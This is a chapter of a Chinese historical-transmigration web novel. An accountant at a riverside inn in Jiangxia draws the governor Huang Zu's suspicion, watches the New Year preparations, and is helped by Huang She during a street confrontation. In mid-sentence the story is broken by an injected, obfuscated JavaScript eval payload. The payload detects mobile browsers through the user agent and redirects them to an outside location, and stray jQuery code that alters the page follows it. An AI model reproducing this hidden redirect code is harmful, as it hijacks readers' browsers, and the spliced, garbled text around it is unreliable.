临江楼的炭火依旧暖烘烘地烧着，屋外风雪却一日紧过一日。
邵叶每日照旧盘账、迎客，面上清冷如故，心底那根弦却始终绷着。蒋钦一行渡江已有十余日，按最快的脚程，此刻早该抵达吴郡。可江夏与江东音讯隔绝，关卡封锁如铁桶，他既无渠道打探，也不敢轻举妄动，只能将所有焦躁压在心底。
系统偶尔会跳出来，试图活跃气氛：
【宿主，别愁眉苦脸啦，蒋钦那么能打，肯定没事。】
邵叶指尖一顿，只淡淡嗯了一声，目光依旧落在窗外翻涌的江面上。
日子一久，他与黄射往来渐密，连带着，也与黄祖有了几面之缘。
黄祖，字文晖，时任江夏太守，坐镇一方，手握重兵，是刘表在江北最倚重的臂膀。此人面色沉毅，行事老辣，平日里极少踏入市井酒馆，这几日却因冬日军务稍缓，常常跟着黄射一同过来。
起初黄祖只当邵叶是个略通笔墨的寒门小先生，并未放在心上。可接连几次见他算账分毫不差，应对往来客商条理分明，即便面对兵士喧哗、市井争执，也能不动声色地安抚妥当，再加上容貌清俊、气质沉静，站在人群中一眼便能脱颖而出，太守心中渐渐多了几分留意。
这日午后，风雪暂歇，黄祖父子再度登门。
黄射照旧坐了靠窗老位置，黄祖则拣了一处视野开阔的座头，一边饮茶，一边看似随意地打量着楼内情形。不多时，几名船夫因酒钱争执起来，言语粗鄙，险些动手，周遭客人纷纷避让，店掌柜急得满头大汗，却不敢上前。
邵叶放下手中账簿，缓步走了过去。
他既不呵斥，也不慌乱，只淡淡开口，几句话点清账目出入，又几句话点明江上行船不易、各退一步的道理，声音不高，却莫名让人信服。方才还剑拔弩张的几人，竟真的渐渐平息了火气，各自付了钱，悻悻离去。
全程不过片刻，纷争便消弭于无形。
黄祖看在眼里，眼中掠过一丝赞许，转头对身旁黄射低声道：“此子沉静有度，临危不乱，绝非池中之物。”
黄射笑道：“儿子早看出来了，几次想请他入府做主簿，他都婉拒了，说是闲散惯了，不愿受拘束。”
黄祖微微颔首，端起茶杯轻啜一口，目光再次落在邵叶身上，带着几分审视，也带着几分惜才：“不愿入仕，倒有几分隐士气度。这般人物，留在临江楼实在屈才。你且多与他往来，不必强逼，只需暗中照拂一二。乱世之中，多结一份善缘，便多一条后路。”
父子二人的低语并未刻意遮掩，邵叶听得清清楚楚，心中却越发警惕。
黄祖老谋深算，看似温和照拂，实则是在试探、拉拢，甚至是在暗中观察，判断他是否可用、是否可控。自己如今身份敏感，身处荆州心腹之地，一旦露出半分异常，便会万劫不复。
他装作未曾听见，依旧低头整理账簿，指尖划过算筹，神色平静无波。
黄射见他这般淡然，越发欣赏，起身走到账台旁，轻声笑道：“小先生方才处置纷争，当真是从容。若是日后在江夏有人为难你，尽管报我黄射之名，再不然，报我父黄太守文晖公之名，江夏地面，总能护你一二。”
邵叶抬眸，微微拱手，语气谦和有礼：“多谢公子与太守厚爱，晚辈心领了。”
“无妨无妨，哈哈哈。你我相识一场，怎如此生分？唤我伯威即可。”
“伯威公子。”
邵叶抬眸，微微拱手，语气谦和有礼：“多谢公子与太守厚爱，晚辈心领了。”
黄射闻言畅快一笑，正欲再言，门外忽然快步走入几名身披皮甲的亲卫，对着黄祖低声禀报沿江哨探军情。黄祖面色一正，当即起身，准备回府处理军务。
临行之前，他又深深看了一眼不远处低头整理账簿的邵叶，目光深沉，似在考量，又似在权衡。
待一行人踏出临江楼，风雪卷落枝头寒雪。
黄祖登车之际，侧首对身旁的心腹亲卫低声吩咐：
“去查一查楼内那个算账的少年，自称孙叶的。查清他籍贯来历、何时入江夏、有无亲朋故旧，过往一切行踪，都给我细细查来。”
亲卫躬身领命：“属下明白。”
“切记，暗中行事，不可声张，更不可惊扰于人。”黄祖声音冷沉，“此子气度异于常人，隐于市井之中，必有缘由。查清楚他的底细，速来报我。”
“是！”
马车碾过积雪，渐渐远去，消失在长街尽头。
————————————
年关日渐临近，江夏城中的年味也一日浓过一日。
虽无后世红纸对联，却也自有一番年节气象。
市井之中，家家户户都在门前新钉桃符，木板上或画或刻着神荼、郁垒二神像，用以驱邪避凶；条件好些的人家，还会在门楣贴上裁成长条的红纸宜春帖，上书“吉”“安”“宜春”“万福”等单字吉语，在寒风中微微飘动。街巷两旁的檐角，多有百姓扎起松柏枝，取常青镇邪之意，间或点缀些彩绸与干草编就的饰物，看着便觉红火热闹。
肉铺前早早挂起腊鱼、腊肉，油光锃亮；粮店门口排着长队，多是置办糯米、黍米与干果的百姓，预备着除夕的年糕与羹汤。货郎走街串巷，叫卖着糖瓜、饴饼与小玩意儿，孩童裹着厚布棉袄追在后面嬉笑打闹，寒风里都裹着几分暖意。
临江楼也早早备下了年节之物。
掌柜请人写了新桃符悬在正门，又贴上数张宜春帖，楼内梁柱间缠上干草彩饰，四角悬起几盏麻布灯笼，入夜后灯火昏黄温暖，将满室酒香与人气烘得格外熨帖。往来歇脚的客商、船夫，谈论的也多是归乡、祭祖、守岁之事，少了几分往日的焦躁，多了几分年节的平和。
邵叶依旧守在账台之后，日子清淡如常，却也被这周遭热闹悄然浸染。
系统整日在他脑海里叽叽喳喳：
【宿主，街上有人蒸糯米糕啦，好香好香！】
【你看那边，好多人在买桃符，好威风！】
【除夕要守岁，还要喝椒柏酒，这个时代的习俗好有意思！】
邵叶偶尔淡淡应一声，指尖拨弄算筹的动作，却不自觉放缓了些许。
这日风雪尽歇，暖阳破云。
楼中客人稀少，邵叶便往后院收拾。
他将柴垛码得整整齐齐，把水缸挑满清水，又将屋前屋后清扫干净，扫去一冬积雪与落叶。寒风冻得他指尖微红，他却毫不在意，素衣身影立在冬日阳光下，清隽安静，引得路过街坊频频侧目，暗叹这小先生模样气度皆是出众。
闲下来时，他便在屋中生一盆炭火，取过纸笔随手写几笔。
不涉军政，不记计谋，只是抄录几句安宁短句，或是描摹几笔简易松柏纹样，字迹清简利落，看着便觉心静。
掌柜见他孤身一人，便时常端来些热汤热食。
有时是一碗枣粟甜羹，有时是一块新蒸的糯米糕，笑着道：“小先生一人在江夏，除夕夜里便一同用饭，也算过个热闹年。”
闻言心头一热，邵叶抬头，难得露出一丝浅淡笑意，轻声道谢。
楼外渐渐响起零星爆竹声响，清脆炸裂在冬日长空。
椒柏酒香漫过街巷，桃符映着斜阳。
乱世之中，这般安稳烟火，已是难得。
邵叶望着跳动的炭火，心底轻轻一叹。
他在江夏的第一个新年，便要在这风雪渐歇、人间热闹里，缓缓到来。
除夕前一日，天刚放晴，街上人潮比往日更盛。
邵叶奉掌柜之命，去街口粮栈采买过年用的黍米与干果，刚走出临江楼不远，便被一阵喧闹拦住了去路。
几个身着素色锦袍的世家子弟，正围着一个卖小玩意儿的老货郎肆意取笑。那老人挑着的担子被打翻在地，草编的虫鸟、泥捏的小哨、几串饴糖散落雪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17402248|200355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中，被人随意踩踏。
“一个低贱货郎，也敢在街面挡路？”
“看你这老东西手脚不利索，干脆滚出江夏城去。”
老人佝偻着身子，跪在雪中连连作揖，冻得瑟瑟发抖，却不敢争辩半句。周围行人敢怒不敢言，都认得那几人是江夏城中世家旁支的子弟，平日里便横行市井，无人敢惹。
邵叶本不欲多生事端，脚步微顿，便想侧身绕开。
可他刚一动，其中一个锦衣少年便斜斜瞥了过来，见他容貌清俊、衣着朴素，当即扬声挑衅：
“站住！你看什么看？一个穷酸小子，也敢管老子的闲事？”
邵叶淡淡抬眼，语气平静：“道路宽敞，各走各的，无意多事。”
“无意？”那少年上前一步，伸手便要推搡他肩头，“我看你就是欠教训——”
他手还未碰到邵叶衣襟，邵叶身形微侧，轻描淡写避开，同时指尖不经意间一拂。
那少年忽然脚下一滑，重心失衡，“噗通”一声摔在雪地里，狼狈不堪。
同伴顿时哗然：“你敢动手？！”
邵叶立在原地，衣袂不染风雪，神色依旧清冷：“是他自己站不稳。”
就在气氛一触即发之际，人群外忽然传来一声轻喝：
“住手。”
众人回头，只见黄射一身便服，带着两名随从缓步走来，面色微沉。
那几个世家子弟一见黄射，瞬间气焰全消，慌忙躬身行礼：“伯威公子。”
黄射没看他们，目光先落在邵叶身上，上下一扫，见他无碍，才松了口气，转而冷声道：
“光天化日，当街欺辱老者，惊扰市井，是谁给你们的胆子？”
几人吓得连连请罪，慌忙扶起倒地的同伴，丢下几枚钱给老货郎，灰溜溜逃了。
周遭行人纷纷散去，老货郎含泪捡起散落的物件，对着邵叶与黄射连连叩谢。
邵叶伸手虚扶了一把，淡淡道：“收拾东西，早些归家过年吧。”
老人千恩万谢，挑着担子蹒跚离去。
黄射这才转向邵叶，笑道：“方才倒是惊险，幸好你无事。这些人仗着家中薄产，便目中无人，我回头会吩咐府中下人，好好管束一番。”
邵叶微微颔首：“有劳伯威公子。”
“举手之劳而已。”黄射目光落在他手中空篮上，“你这是要去采买？”
“嗯，为楼中置办些年货。”
“正巧，我也要去前市，一同走吧。”
邵叶没有推辞，两人并肩走在江夏街头。
一路之上，黄射刻意放慢了脚步，与他并肩而行，目光偶尔落在邵叶侧脸，又很快移开，像是怕冒犯一般。
风雪落在少年眉梢，衬得眉目愈发清俊，肤色在冬日里显得格外干净。黄射看着看着，喉间微不可察地动了一下，心底悄然多了几分异样的在意。
这等容貌风骨，混迹市井实在可惜。
若是能留在身边……
念头一闪而逝，他很快收敛心神，只随口与他闲谈年俗、江景，语气平和亲近。
行至粮栈前，黄射忽然轻声道：
“那日父亲回府后，对小先生赞不绝口。只是……你也知道，乱世之中，太守行事，难免谨慎了些。”
邵叶脚步微顿，心中了然。
黄射这是在隐晦提醒他——黄祖的调查，还在继续。
他面上依旧平静，只淡淡应道：
“晚辈明白。身在江夏，自当守江夏的规矩。”
黄射看了他一眼，忽然笑了笑，不再多言：
“快进去采买吧。除夕之夜，若临江楼热闹，我或许会过来小坐片刻，讨杯酒喝。”
说罢，他抱了抱拳，转身带着随从离去。
邵叶立在粮栈门前，望着他的背影消失在人流之中，指尖轻轻摩挲着篮沿。
怎么感觉有点不对劲？